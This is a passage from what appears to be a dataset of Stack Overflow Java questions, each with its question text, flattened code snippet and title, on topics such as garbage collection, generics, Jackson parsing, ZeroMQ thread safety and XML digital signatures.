maven-plugin-annotations < /artifactId > < version > 3.6.0 < /version > < scope > provided < /scope > < /dependency > < dependency > < groupId > org.apache.maven < /groupId > < artifactId > maven-plugin-api < /artifactId > < version > 3.6.3 < /version > < /dependency > < dependency > < groupId > org.apache.maven < /groupId > < artifactId > maven-core < /artifactId > < version > 3.6.3 < /version > < /dependency > < /dependencies > < build > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-plugin-plugin < /artifactId > < version > 3.6.0 < /version > < /plugin > < /plugins > < /build > < /project >,How to upload maven plugin to Github packages ? +Java,"I 'm wondering if there is a way in java ( pure code , not some Eclipse thing ) to `` syntactic sugar '' up repetitive try catch code . Namely , I have to wrap a bunch of functionsand so on . I 'd like to writeI think sugar of this type was possible in python . Is it possible in Java ?",public void foo ( ) { try { // bla } catch ( Exception e ) { System.out.println ( `` caught exception : '' ) ; e.printStackTrace ( ) ; } } public void bar ( ) { try { // other bla } catch ( Exception e ) { System.out.println ( `` caught exception : '' ) ; e.printStackTrace ( ) ; } } @ excepted public void foo ( ) { // bla } @ excepted public void bar ( ) { // other bla },try-catch syntactic sugar in java +Java,"Consider a huge JSON with structure like - I am storing this JSON as an ObjectNode object called say json.Now I try to extract this text from the ObjectNode.This JSON can be like 4-5 MB in size . When I run this code , I dont get a result ( program keeps executing forever ) . The above method works fine for small and normal sized strings . Is there any other best practice to extract huge data from JSON ?",{ `` text '' : `` very HUGE text here.. '' } String text = json.get ( `` text '' ) .asText ( ),Parsing Huge JSON with Jackson +Java,"The function above calculates the amount of tax payment.The price and the rate are calculated by calling some other functions.I introduced two local variables price and taxRate to just improve code readability , so both will be used only once.Will those kinds of `` one-time '' local variables be substituted and inlined at compile time with most modern compilers ?",double calcTaxAmount ( ) { double price = getA ( ) * getB ( ) + getC ( ) ; double taxRate = getD ( ) + getE ( ) ; return price * taxRate ; },Will one-time usages of local variables be optimized at compile time ? +Java,"Here is the code : I 'm getting : What 's wrong with my assignment ? How to fix that ? @ SuppressWarnings is not an option , since I want this constructor to be truly `` safe . ''",class Foo < T > { private final T [ ] array ; @ SafeVarargs Foo ( T ... items ) { this.array = items ; } } [ WARNING ] Varargs method could cause heap pollution from non-reifiable varargs parameter items $ javac -versionjavac 1.8.0_40,Why @ SafeVarargs does n't suppress the warning ? +Java,"I show date ranges as follows : For users in Holland , they see `` 4-5-12-3-6-12 '' . This is confusing.What 's a way to show date ranges that takes the user 's locale into account ?","public static void main ( String [ ] args ) { Locale.setDefault ( new Locale ( `` nl '' , `` NL '' ) ) ; DateTime d1 = new DateTime ( ) ; DateTime d2 = new DateTime ( ) .plusDays ( 30 ) ; final String s1 = d1.toString ( DateTimeFormat.shortDate ( ) ) ; final String s2 = d2.toString ( DateTimeFormat.shortDate ( ) ) ; System.out.println ( s1 + `` - '' + s2 ) ; // shows `` 4/05/12-3/06/12 '' for en_AU System.out.println ( s1 + `` - '' + s2 ) ; // shows `` 4-5-12-3-6-12 '' for nl_NL }",What 's a I18N-friendly way to show a date range ? +Java,"Consider an object declared in a method : Will obj be subject to garbage collection before foo ( ) returns ? UPDATE : Previously I thought obj is not subject to garbage collection until foo ( ) returns . However , today I find myself wrong . I have spend several hours in fixing a bug and finally found the problem is caused by obj garbage collected ! Can anyone explain why this happens ? And if I want obj to be pinned how to achieve it ? Here is the code that has problem.After running the Java program , it will print the following message before it crashes : And here is the code of class SqlConnection :","public void foo ( ) { final Object obj = new Object ( ) ; // A long run job that consumes tons of memory and // triggers garbage collection } public class Program { public static void main ( String [ ] args ) throws Exception { String connectionString = `` jdbc : mysql : // < whatever > '' ; // I find wrap is gc-ed somewhere SqlConnection wrap = new SqlConnection ( connectionString ) ; Connection con = wrap.currentConnection ( ) ; Statement stmt = con.createStatement ( ResultSet.TYPE_FORWARD_ONLY , ResultSet.CONCUR_READ_ONLY ) ; stmt.setFetchSize ( Integer.MIN_VALUE ) ; ResultSet rs = stmt.executeQuery ( `` select instance_id , doc_id from crawler_archive.documents '' ) ; while ( rs.next ( ) ) { int instanceID = rs.getInt ( 1 ) ; int docID = rs.getInt ( 2 ) ; if ( docID % 1000 == 0 ) { System.out.println ( docID ) ; } } rs.close ( ) ; //wrap.close ( ) ; } } 161000161000********************************Finalizer CALLED ! ! ****************************************************************Close CALLED ! ! ********************************162000Exception in thread `` main '' com.mysql.jdbc.exceptions.jdbc4.CommunicationsException : class SqlConnection { private final String connectionString ; private Connection connection ; public SqlConnection ( String connectionString ) { this.connectionString = connectionString ; } public synchronized Connection currentConnection ( ) throws SQLException { if ( this.connection == null || this.connection.isClosed ( ) ) { this.closeConnection ( ) ; this.connection = DriverManager.getConnection ( connectionString ) ; } return this.connection ; } protected void finalize ( ) throws Throwable { try { System.out.println ( `` ******************************** '' ) ; System.out.println ( `` Finalizer CALLED ! ! `` ) ; System.out.println ( `` ******************************** '' ) ; this.close ( ) ; } finally { super.finalize ( ) ; } } public void close ( ) { System.out.println ( `` ******************************** '' ) ; System.out.println ( `` Close CALLED ! ! `` ) ; System.out.println ( `` ******************************** '' ) ; this.closeConnection ( ) ; } protected void closeConnection ( ) { if ( this.connection ! = null ) { try { connection.close ( ) ; } catch ( Throwable e ) { } finally { this.connection = null ; } } } }",Why an object declared in method is subject to garbage collection before the method returns ? +Java,"I 'm using JUnit 4.11.Eclipse Version : Luna Service Release 2 ( 4.4.2 ) I need do the exception test . The code maybe like this : But the test always fail , where am i wrong ?","// src codepublic void myMethod throws MyException { ... throw new MyException ( msg ) ; ... } // test code @ Test ( expected = MyException.class ) public void testMyMethod ( ) { try { myMethod ( ) ; fail ( ) ; } catch ( MyException e ) { assertEquals ( expectedStr , e.getMessage ( ) ) ; } }",Why JUnit Testing exception always fail ? +Java,"I have a super class with telescoping constructors with a finalize ( ) method . To protect against subclasses forgetting to invoke super.finalize , I have written a finalizer guardian ( EJ Item 7 ) like so.Here is a sample subclass -- When the s1 object goes out of scope , the finalizer guardian 's finalize ( ) gets called , and I get the SYSO from the subclass 's finalize method , but never get the one from super 's finalize . I 'm confused . Am I misunderstanding something fundamentally ? Disclaimer : I realize finalizers are dangerous and not advisable , etc . Still trying to understand the problem here .",public class Super { public Super ( ) { } { Object finalizerGuardian = new Object ( ) { @ Override protected void finalize ( ) { System.out.println ( `` Finalizer guardian finalize '' ) ; Super.this.finalize ( ) ; } } ; } protected void finalize ( ) { System.out.println ( `` Super finalize '' ) ; } } public class Sub extends Super { public Sub ( ) { } protected void finalize ( ) { System.out.println ( `` Sub finalize '' ) ; } public static void main ( String [ ] args ) throws InterruptedException { if ( 1 == 1 ) { Sub s1 = new Sub ( ) ; } Runtime.getRuntime ( ) .gc ( ) ; Thread.sleep ( 10000 ) ; } },Java finalizer guardian does not seem to work ? +Java,I 'm running the following programs in Visual C++ and Java : Visual C++Output : Java : Output : Why the output in these two languages are different ? How both the langauges treat pre and postincrement operators differently ?,"void main ( ) { int i = 1 , j ; j = i++ + i++ + ++i ; printf ( `` % d\n '' , j ) ; } 6 public class Increment { public static void main ( String [ ] args ) { int i = 1 , j ; j = i++ + i++ + ++i ; System.out.println ( j ) ; } } 7",Behaviour of PreIncrement and PostIncrement operator in C and Java +Java,"I have a class in which I am populating a map liveSocketsByDatacenter from a single background thread every 30 seconds inside updateLiveSockets ( ) method and then I have a method getNextSocket ( ) which will be called by multiple reader threads to get a live socket available which uses the same map to get this information.As you can see in my class : From a single background thread which runs every 30 seconds , I populate liveSocketsByDatacenter map with all the live sockets in updateLiveSockets ( ) method.And then from multiple threads , I call the getNextSocket ( ) method to give me a live socket available which uses a liveSocketsByDatacenter map to get the required information.I have my code working fine without any issues and wanted to see if there is any better or more efficient way to write this . I also wanted to get an opinion on thread safety issues or any race conditions if any are there , but so far I have n't seen any but I could be wrong.I am mostly worried about updateLiveSockets ( ) method and getLiveSocketX ( ) method . I am iterating liveSockets which is a List of SocketHolder at LINE A and then making a new SocketHolder object and adding to another new list . Is this ok here ? Note : SocketHolder is an immutable class . And you can ignore ZeroMQ stuff I have .","public class SocketManager { private static final Random random = new Random ( ) ; private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor ( ) ; private final AtomicReference < Map < Datacenters , List < SocketHolder > > > liveSocketsByDatacenter = new AtomicReference < > ( Collections.unmodifiableMap ( new HashMap < > ( ) ) ) ; private final ZContext ctx = new ZContext ( ) ; // Lazy Loaded Singleton Pattern private static class Holder { private static final SocketManager instance = new SocketManager ( ) ; } public static SocketManager getInstance ( ) { return Holder.instance ; } private SocketManager ( ) { connectToZMQSockets ( ) ; scheduler.scheduleAtFixedRate ( new Runnable ( ) { public void run ( ) { updateLiveSockets ( ) ; } } , 30 , 30 , TimeUnit.SECONDS ) ; } // during startup , making a connection and populate once private void connectToZMQSockets ( ) { Map < Datacenters , ImmutableList < String > > socketsByDatacenter = Utils.SERVERS ; // The map in which I put all the live sockets Map < Datacenters , List < SocketHolder > > updatedLiveSocketsByDatacenter = new HashMap < > ( ) ; for ( Map.Entry < Datacenters , ImmutableList < String > > entry : socketsByDatacenter.entrySet ( ) ) { List < SocketHolder > addedColoSockets = connect ( entry.getKey ( ) , entry.getValue ( ) , ZMQ.PUSH ) ; updatedLiveSocketsByDatacenter.put ( entry.getKey ( ) , Collections.unmodifiableList ( addedColoSockets ) ) ; } // Update the map content this.liveSocketsByDatacenter.set ( Collections.unmodifiableMap ( updatedLiveSocketsByDatacenter ) ) ; } private List < SocketHolder > connect ( Datacenters colo , List < String > addresses , int socketType ) { List < SocketHolder > socketList = new ArrayList < > ( ) ; for ( String address : addresses ) { try { Socket client = ctx.createSocket ( socketType ) ; // Set random identity to make tracing easier String identity = String.format ( `` % 04X- % 04X '' , random.nextInt ( ) , random.nextInt ( ) ) ; client.setIdentity ( identity.getBytes ( ZMQ.CHARSET ) ) ; client.setTCPKeepAlive ( 1 ) ; client.setSendTimeOut ( 7 ) ; client.setLinger ( 0 ) ; client.connect ( address ) ; SocketHolder zmq = new SocketHolder ( client , ctx , address , true ) ; socketList.add ( zmq ) ; } catch ( Exception ex ) { // log error } } return socketList ; } // this method will be called by multiple threads to get the next live socket // is there any concurrency or thread safety issue or race condition here ? public Optional < SocketHolder > getNextSocket ( ) { // For the sake of consistency make sure to use the same map instance // in the whole implementation of my method by getting my entries // from the local variable instead of the member variable Map < Datacenters , List < SocketHolder > > liveSocketsByDatacenter = this.liveSocketsByDatacenter.get ( ) ; Optional < SocketHolder > liveSocket = Optional.absent ( ) ; List < Datacenters > dcs = Datacenters.getOrderedDatacenters ( ) ; for ( Datacenters dc : dcs ) { liveSocket = getLiveSocket ( liveSocketsByDatacenter.get ( dc ) ) ; if ( liveSocket.isPresent ( ) ) { break ; } } return liveSocket ; } // is there any concurrency or thread safety issue or race condition here ? private Optional < SocketHolder > getLiveSocketX ( final List < SocketHolder > endpoints ) { if ( ! CollectionUtils.isEmpty ( endpoints ) ) { // The list of live sockets List < SocketHolder > liveOnly = new ArrayList < > ( endpoints.size ( ) ) ; for ( SocketHolder obj : endpoints ) { if ( obj.isLive ( ) ) { liveOnly.add ( obj ) ; } } if ( ! liveOnly.isEmpty ( ) ) { // The list is not empty so we shuffle it an return the first element Collections.shuffle ( liveOnly ) ; return Optional.of ( liveOnly.get ( 0 ) ) ; } } return Optional.absent ( ) ; } // Added the modifier synchronized to prevent concurrent modification // it is needed because to build the new map we first need to get the // old one so both must be done atomically to prevent concistency issues private synchronized void updateLiveSockets ( ) { Map < Datacenters , ImmutableList < String > > socketsByDatacenter = Utils.SERVERS ; // Initialize my new map with the current map content Map < Datacenters , List < SocketHolder > > liveSocketsByDatacenter = new HashMap < > ( this.liveSocketsByDatacenter.get ( ) ) ; for ( Entry < Datacenters , ImmutableList < String > > entry : socketsByDatacenter.entrySet ( ) ) { List < SocketHolder > liveSockets = liveSocketsByDatacenter.get ( entry.getKey ( ) ) ; List < SocketHolder > liveUpdatedSockets = new ArrayList < > ( ) ; for ( SocketHolder liveSocket : liveSockets ) { // LINE A Socket socket = liveSocket.getSocket ( ) ; String endpoint = liveSocket.getEndpoint ( ) ; Map < byte [ ] , byte [ ] > holder = populateMap ( ) ; Message message = new Message ( holder , Partition.COMMAND ) ; boolean status = SendToSocket.getInstance ( ) .execute ( message.getAdd ( ) , holder , socket ) ; boolean isLive = ( status ) ? true : false ; // is there any problem the way I am using ` SocketHolder ` class ? SocketHolder zmq = new SocketHolder ( socket , liveSocket.getContext ( ) , endpoint , isLive ) ; liveUpdatedSockets.add ( zmq ) ; } liveSocketsByDatacenter.put ( entry.getKey ( ) , Collections.unmodifiableList ( liveUpdatedSockets ) ) ; } this.liveSocketsByDatacenter.set ( Collections.unmodifiableMap ( liveSocketsByDatacenter ) ) ; } }",Concurrently reading a Map while a single background thread regularly modifies it +Java,"I created an integration test for my pipeline to check if the right CSV file is generated : The real code looks a little bit different , it is just an reproducible example.Spark extension just starts local spark before every test and closes is after.The test passes , but then when junit tries to clean up @ TempDir following exception is thrown : Failed to delete temp directory C : \Users\RK03GJ\AppData\Local\Temp\junit596680345801656194 . The following paths could not be deletedCan I somehow fix this error ? I tried waiting for spark to stop using awaility , but I did n't really help.Maybe I can somehow ignore this error ?","class CsvBatchSinkTest { @ RegisterExtension static SparkExtension spark = new SparkExtension ( ) ; @ TempDir static Path directory ; //this checks if the file is already available static boolean isFileWithSuffixAvailable ( File directory , String suffix ) throws IOException { return Files.walk ( directory.toPath ( ) ) .anyMatch ( f - > f.toString ( ) .endsWith ( suffix ) ) ; } //this gets content of file static List < String > extractFileWithSuffixContent ( File file , String suffix ) throws IOException { return Files.readAllLines ( Files.walk ( file.toPath ( ) ) .filter ( f - > f.toString ( ) .endsWith ( suffix ) ) .findFirst ( ) .orElseThrow ( AssertionException : :new ) ) ; } @ Test @ DisplayName ( `` When correct dataset is sent to sink , then correct csv file should be generated . '' ) void testWrite ( ) throws IOException , InterruptedException { File file = new File ( directory.toFile ( ) , `` output '' ) ; List < Row > data = asList ( RowFactory.create ( `` value1 '' , `` value2 '' ) , RowFactory.create ( `` value3 '' , `` value4 '' ) ) ; Dataset < Row > dataset = spark.session ( ) .createDataFrame ( data , CommonTestSchemas.SCHEMA_2_STRING_FIELDS ) ; dataset.coalesce ( 1 ) .write ( ) .option ( `` header '' , `` true '' ) .option ( `` delimiter '' , `` ; '' ) .csv ( file.getAbsolutePath ( ) ) ; Awaitility.await ( ) .atMost ( 10 , TimeUnit.SECONDS ) .until ( ( ) - > isFileWithSuffixAvailable ( file , `` .csv '' ) ) ; Awaitility.await ( ) .atMost ( 10 , TimeUnit.SECONDS ) .untilAsserted ( ( ) - > assertThat ( extractFileWithSuffixContent ( file , `` .csv '' ) ) .containsExactlyInAnyOrder ( `` field1 ; field2 '' , `` value1 ; value2 '' , `` value3 ; value4 '' ) ) ; } }",Junit can not delete @ TempDir with file created by Spark Structured Streaming +Java,"When lambda expression is used Java actually creates an anonymous ( non-static ) class . Non-static inner classes always contain references their enclosing objects.When this lambda expression is called from another library that may invoke lambda in a different process that invocation crashes with class not found exception because it can not find enclosing object 's class in another process.Consider this example : Java will create an anonymous inner class that implements certain functional interface and pass it as a parameter to executeLambda ( ) . Then remoteLambdaExecutor will take that anonymous class across the process to run remotely.Remote process knows nothing about MyClass and will throwBecause it needs MyClass for that enclosing object reference.I can always use a static implementation of the functional interface expected by an API , but that defeats the purpose and does n't utilize lambda functionality.Is there way to solve it using lambda expressions ? UPDATE : I can not use static class either unless it 's somehow exported to that other process .",public class MyClass { public void doSomething ( ) { remoteLambdaExecutor.executeLambda ( value - > value.equals ( `` test '' ) ) ; } } java.lang.ClassNotFoundException : MyClass,Is there a way for Java lambda expression not to have reference to enclosing object ? +Java,I need to call to C function from Java.The function has the following API : I 'm using swig in order to make the wrappers.I read the post : ByteBuffer.allocate ( ) vs. ByteBuffer.allocateDirect ( ) And it seems best to create the result ( pchOutput ) as DirectByteBuffer.How can I pass the Bytebuffer to the code c ( using swig ) How the c code will read and write the data from the ByteBuffer ? Thanks,"void convert ( char* pchInput , int inputSize , int convertValue , char* pchOutput , int* outputSize ) ;",How to define and pass ByteBuffer using swig ? +Java,We can create XML Digital Signature using RSA keys . But how do I use elliptic curve keys to sign xml files ? I get error messages such as -I used below code to create SignatureMethod and KeyInfo -JDK - Oracle JDK 8Security Providers - BouncyCastle and Sun .,"Exception in thread `` main '' java.security.KeyException : ECKeyValue not supported at org.jcp.xml.dsig.internal.dom.DOMKeyValue $ EC. < init > ( DOMKeyValue.java:350 ) at org.jcp.xml.dsig.internal.dom.DOMKeyInfoFactory.newKeyValue ( DOMKeyInfoFactory.java:71 ) at csr.ExtractEC.main ( XMLSignatureECTest.java:57 ) Caused by : java.lang.ClassNotFoundException : sun/security/ec/ECParameters at java.lang.Class.forName0 ( Native Method ) at java.lang.Class.forName ( Class.java:264 ) at org.jcp.xml.dsig.internal.dom.DOMKeyValue $ EC.getMethods ( DOMKeyValue.java:367 ) at org.jcp.xml.dsig.internal.dom.DOMKeyValue $ EC $ 1.run ( DOMKeyValue.java:343 ) at org.jcp.xml.dsig.internal.dom.DOMKeyValue $ EC $ 1.run ( DOMKeyValue.java:339 ) at java.security.AccessController.doPrivileged ( Native Method ) at org.jcp.xml.dsig.internal.dom.DOMKeyValue $ EC. < init > ( DOMKeyValue.java:338 ) ... 2 more String url = `` http : //www.w3.org/2001/04/xmldsig-more # ecdsa-sha256 '' ; SignatureMethod signatureMethod = factory.newSignatureMethod ( url , null ) ; SignedInfo signedInfo = factory.newSignedInfo ( c14n , signatureMethod , Collections.singletonList ( reference ) ) ; PrivateKey privateKey = Utils.generatePrivateEC ( `` e : \\certs\\ec\\ec.key.p8 '' ) ; Certificate certificate = Utils.generatePublic ( `` e : \\certs\\ec\\ec.cer '' ) ; KeyInfoFactory keyInfoFactory = factory.getKeyInfoFactory ( ) ; KeyValue keyValue = keyInfoFactory.newKeyValue ( certificate.getPublicKey ( ) ) ; KeyInfo keyInfo = keyInfoFactory.newKeyInfo ( Collections.singletonList ( keyValue ) ) ;",Java - Create XML Digital Signature using ECDSA ( Elliptic Curve ) +Java,"Say , classes A1 , A2 , ... , An all extends the abstract class B.I would like A1 , ... , An to have a function that returns a string of the class name.This is certainly known in compile-time , but I would like to implement this function inB , and use inheritance so that all Ai : s get this functionality.In java , this can easily be done , by letting B have the methodmore or less . So , how do I do this in D ? Also , is there a way , using traits or similar , to determine which class members are public ?",String getName ( ) { return this.getClass ( ) ; },Function that returns class name in D +Java,"I 'm curious to know how would you explain this task I found in this quiz ? Even when the getFoo method returns null , the output is still Getting Object JavaQuiz . I think it should be NullPointerException .",public class Foo { static String name = `` JavaQuiz '' ; static Foo getFoo ( ) { System.out.print ( `` Getting Object '' ) ; return null ; } public static void main ( String [ ] args ) { System.out.println ( getFoo ( ) .name ) ; } },Call static method on null object +Java,"Originally I had posted the question on CodeReview , but this is more suited for StackOverflow probably.I 'm coding for a multi-step process , using Java 6 . Say there are 3 of these steps.Each accepts the same type of input.Lets begin.This is the object which is passed as input to each step . This object acts as a wrapper for another type of object , alongside some steps ' shared values.Be aware names are translated to a more generic domain and in english , originals are in Italian.This is the interface used by each step.Now , 2 out of the 3 steps must accept an EntityStepInput which contains a Entity or any type derived from it.The last step must accept an EntityStepInput which contains a specific type derived from Entity.The usage is pretty straighforward . I have overloaded methods which accept different types of Entitys . What follows is a simplified version.As you can see the DerivedEntity type is able to use all of the steps.And here another type of Entity can not use the last step , which is what I want.Now , this has became quite complex with generics . I fear who will read my code after I 'm gone wo n't understand and sooner or later a mess is going to be made.Is this simplifiable ? What would your approach be like to respect as much as possibile the single responsibility principle ? Edit . Entity hierarchy is as follow :",public class EntityStepInput < T extends Entity > { public final T entity ; public boolean modified ; public boolean canceled ; public EntityStepInput ( final T entity ) { this.entity = entity ; } } public interface EntityStep < T extends EntityStepInput < ? extends Entity > > { void process ( final T stepInput ) throws Exception ; } public class FirstEntityStep implements EntityStep < EntityStepInput < ? extends Entity > > { @ Override public void process ( final EntityStepInput < ? extends Entity > stepInput ) throws Exception { } } public class SecondEntityStep implements EntityStep < EntityStepInput < ? extends Entity > > { @ Override public void process ( final EntityStepInput < ? extends Entity > stepInput ) throws Exception { } } public class ThirdEntityStep implements EntityStep < EntityStepInput < ? extends DerivedEntity > > { @ Override public void process ( final EntityStepInput < ? extends DerivedEntity > stepInput ) throws Exception { } } public void workWithEntity ( final DerivedEntity entity ) throws Exception { final EntityStepInput < DerivedEntity > stepInput = new EntityStepInput < DerivedEntity > ( entity ) ; stepOne.process ( stepInput ) ; stepTwo.process ( stepInput ) ; stepThree.process ( stepInput ) ; } public void workWithEntity ( final OtherDerivedEntity entity ) throws Exception { final EntityStepInput < OtherDerivedEntity > stepInput = new EntityStepInput < OtherDerivedEntity > ( entity ) ; stepOne.process ( stepInput ) ; stepTwo.process ( stepInput ) ; } Entity > DerivedEntityEntity > OtherDerivedEntity,Java generics - too complicated ? How to simplify ? +Java,I understand that clean code convention requires that final variables be ALL_CAPS in Java . But what if my variable is an array ? Must it be all caps ? As in which one of the following is best practice : Or,"public static final String [ ] MY_ARRAY = { `` A '' , `` B '' } ; // ... String str = MY_ARRAY [ 0 ] ; public static final String [ ] myArray = { `` A '' , `` B '' } ; // ... String str = myArray [ 0 ] ;",java final array lowercase or uppercase +Java,"Following code does not print `` CE '' or `` Current Era '' : Of course , IsoEra.CE.name ( ) helps but not if the full display name like `` common era '' or `` current era '' is required . I consider this a little bit strange because the javadoc of IsoEra explicitly mentions the term `` Current era '' in its class description . It does not even work for root locale . The use-case here is to serve clients with a non-religious background.This does not help , too : The only way I found was : Is there any better or shorter way ?","System.out.println ( IsoEra.CE.getDisplayName ( TextStyle.SHORT , Locale.UK ) ) ; // output : ADSystem.out.println ( IsoEra.CE.getDisplayName ( TextStyle.FULL , Locale.UK ) ) ; // output : Anno Domini LocalDate date = LocalDate.now ( ) ; String year = date.format ( DateTimeFormatter.ofPattern ( `` G yyyy '' , Locale.UK ) ) ; // AD 2015System.out.println ( year ) ; TextStyle style = ... ; Map < Long , String > eras = new HashMap < > ( ) ; long bce = ( long ) IsoEra.BCE.getValue ( ) ; // 0Llong ce = ( long ) IsoEra.CE.getValue ( ) ; // 1Lif ( style == TextStyle.FULL ) { eras.put ( bce , `` Before current era '' ) ; eras.put ( ce , `` Current era '' ) ; } else { eras.put ( bce , `` BCE '' ) ; eras.put ( ce , `` CE '' ) ; } DateTimeFormatter dtf = new DateTimeFormatterBuilder ( ) .appendText ( ChronoField.ERA , eras ) .appendPattern ( `` yyyy '' ) .toFormatter ( ) ; System.out.println ( LocalDate.now ( ) .format ( dtf ) ) ; // CE 2015",How to display common era ( `` CE '' ) in Java-8 ? +Java,"Working with Spring Data Rest continues . Moving to 2.4.0 gave me more of the behavior I want , however now I am getting a strange intermittent exception.About . . . 2/3 of the time when I reload or deploy my application , every SDR endpoint with data throws a 500 , and gives the following : ( Full error report available : http : //pastebin.com/xzzXkFiR ) Like I said , this does not occur every time I reload/deploy the app , but if it is occuring it 's completely stuck , and a reload is the only way to fix it . Very odd behavior , wondering if anyone has any insight.Issue does not occur if I roll back to Spring Data Rest 2.3.2Thanks for the help , and please let me know what other relevant information I can provide.SDR : 2.4.1SFW : 4.2.1SDJPA : 1.9.0Some further testingIssue also occurs with latest ( 2.5.0 SNAPSHOT ) .",GET /api/departments -- -- -- -- -- -- -- -- -- -- HTTP Status 500 - Could not write content : org.springframework.data.rest.webmvc.json.PersistentEntityJackson2Module $ ProjectionResourceContentSerializer can not be cast to com.fasterxml.jackson.databind.ser.impl.UnwrappingBeanSerializer ( through reference chain : org.springframework.hateoas.PagedResources [ `` _embedded '' ] - > java.util.UnmodifiableMap [ `` departments '' ] - > java.util.ArrayList [ 0 ] - > org.springframework.data.rest.webmvc.json.ProjectionResource [ `` content '' ] ) ; nested exception is com.fasterxml.jackson.databind.JsonMappingException : org.springframework.data.rest.webmvc.json.PersistentEntityJackson2Module $ ProjectionResourceContentSerializer can not be cast to com.fasterxml.jackson.databind.ser.impl.UnwrappingBeanSerializer ( through reference chain : org.springframework.hateoas.PagedResources [ `` _embedded '' ] - > java.util.UnmodifiableMap [ `` departments '' ] - > java.util.ArrayList [ 0 ] - > org.springframework.data.rest.webmvc.json.ProjectionResource [ `` content '' ] ),Spring Data Rest 2.4 Intermittent Error ( ClassCastException ) +Java,"I know how to get this code to work , but I 'm curious why the compiler is not able to figure out that the call is to the outer class method : Is there a deeper design reason for this than protecting coders from making mistakes ?","public class Example { public void doSomething ( int a , int b ) { } public class Request { public int a ; public int b ; public void doSomething ( ) { doSomething ( a , b ) ; // Error . Fix : Example.this.doSomething ( a , b ) ; } } }",Inner classes with method names and different signatures than the outer class +Java,"What is the difference between the following method references , Do the cases have special names ? Is there any example similar to the usage ?","BiPredicate < List < String > , String > contains1 = List < String > : :contains ; BiPredicate < List < String > , String > contains2 = List : : < String > contains ; BiPredicate < List < String > , String > contains3 = List < String > : : < String > contains ;",Generic method reference type specifying before/after : : operator +Java,I want to use such `` Collections.newSetFromMap ( ) '' method in JDK 1.5 which doesnt support it.Also ConcurrentHashSet Class is not supported in java 5.Have to compile following line in JDK 1.5.How do i do it ? Please guide me .,"protected Set < String > knownLCWords = Collections.newSetFromMap ( new ConcurrentHashMap < String , Boolean > ( ) ) ;",Alternative for Collections.newSetFromMap to be used in JDK 1.5 ? +Java,"I 'm trying to write a helper function to compare two types in a typesafe way : My first straightforward attempt failed : Well , the problem is that T can be deduced to be an Object . Now , I wonder if it is impossible to implement typesafeEquals in the Java type system.I know that there are tools like FindBugs find can warn about comparison of incompatible types . Anyway it would be interesting to either see a solution without external tools or an explanation why it is impossible.Update : I think the answer is that it is impossible . I have no proof to support that claim , though . Only that it seems to be difficult to come up with a solution that works for all cases.Some answers come close , but I believe the type system of Java does not support to solve the problem in all generality .","typesafeEquals ( `` abc '' , new Integer ( 42 ) ) ; // should not compile < T > boolean typesafeEquals ( T x , T y ) { // does not work ! return x.equals ( y ) ; }",Is it possible to detect comparison of incompatible types with the Java type system ? +Java,"I am trying to use java 8 to return me a list of key values ( Integers ) in which the value ( Checkbox ) is checked . The map I am trying to process is of the following form.The aim is to return the key set for all values where the check box value is checked.If I do the followingthen I get back a List < Map.Entry < Integer , CheckBox > > Is there anyway to do this all in one line without processing the Map.Entry values so I can just get a list of integers ? Thanks","Map < Integer , CheckBox > checkBoxes.entrySet ( ) .stream ( ) .filter ( c - > c.getValue ( ) .getValue ( ) ) .collect ( Collectors.toList ( ) ) ;","Java 8 - return List ( keyset ) opposed to List < Map.Entry < Integer , CheckBox > >" +Java,"I have been thinking of it but have ran out of idea 's . I have 10 arrays each of length 18 and having 18 double values in them . These 18 values are features of an image . Now I have to apply k-means clustering on them.For implementing k-means clustering I need a unique computational value for each array . Are there any mathematical or statistical or any logic that would help me to create a computational value for each array , which is unique to it based upon values inside it . Thanks in advance . Here is my array example . Have 10 more",[ 0.07518284315321135 0.002987851573676068 0.002963866526639678 0.002526139418225552 0.07444872939213325 0.0037219653347541617 0.0036979802877177715 0.0017920256571474585 0.07499695903867931 0.003477831820276616 0.003477831820276616 0.002036159171625004 0.07383539747505984 0.004311312204791184 0.0043352972518275745 0.0011786937400740452 0.07353130134299131 0.004339580295941216 ],Unique Computational value for an array +Java,"I 'm trying to write a warm-up routine for a latency sensitive java application in order to optimize the first few transactions that would otherwise be slowed down by dynamic class loading and JIT ( mainly ) .The problem I 'm facing is that even though my warmup code loads all classes and exercises them by calling them many times ( at least 100 times -XX : CompileThreshold ) , later when the actual user logs on these same functions are still marked as `` non entrant '' and re-compiled again , which causes a latency hit.The JVM flags are as follows ( I only added -XX : +PrintCompilation -verbose : class tp troubleshoot , the others are legacy ) : -Xms5g -Xmx5g -server -XX : +AggressiveHeap -XX : +UseFastAccessorMethods -XX : +PrintGCDetails -XX : CompileThreshold=100 -XX : -CITime -XX : -PrintGC -XX : -PrintGCTimeStamps -XX : +PrintCompilation -verbose : classNo class loading happens after the warmup ( I can see the class loading before though so the flag is working ) .It would appear that the function gets a new ID ( 2351 vs 2837 ) which means that somehow it is deemed as `` different '' by the JVM.And how can I determine why the JVM decided to recompile this function ? And I guess that boils down to how can I determine why the ID changed ? What are the criteria ? I tried marking as many methods and classes as private as I could but to no avail.This is JRE 1.6.0_45-b06.Any tips for how to troubleshoot or get more info appreciated ! : )",# Warmup happens here 12893 2351 my.test.application.hotSpot ( 355 bytes ) # Real user logs on here 149755 2351 made not entrant my.test.application.hotSpot ( 355 bytes ) 151913 2837 my.test.application.hotSpot ( 355 bytes ) 152079 2351 made zombie my.test.application.hotSpot ( 355 bytes ),How can I determine why the Hotspot JVM decided to re-compile already JIT : ed code a second time ? +Java,"I want to sort my List of Date relative to the current date , e.g we have next items in list : and the current date is 10.08.2018 . The result should be ascending sort of array in the next order : First should be dates that did n't happen and then the past dates . How to do it with Comparator ?","10.01.2018 , 10.20.2018 , 10.14.2018 , 10.02.2018 10.14.2018 , 10.20.2018 and then 10.01.2018 , 10.02.2018 .",Sort Java collection relative to the current date +Java,"Good afternoon all , I was taught that when a function returns , The variables ( within the scope of that function ) automatically go out of scope so we do not have to set them to null.However , this does n't seem to be true.I have a test code that creates a java.lang.ref.PhantomReference pointing to an instance of a java.lang.Object . The only strong reference to that object is within the scope of a function F.In other words , when that function returns , there should no longer be any strong reference to that object , and the object should now be collectible by the the GC.However , no matter how hard I try to starve the JVM of memory , the GC simply refuses to collect the object . What is surprising is that if I set the variable to null ( obj = null ; ) , the GC now collects the object.What is the explanation behind this oddity ?","public class Test { public static void main ( String args [ ] ) { // currently testing on a 64-bit HotSpot Server VM , but the other JVMs should probably have the same behavior for this use case Test test = new Test ( ) ; test.F ( new Object ( ) ) ; } public < T > void F 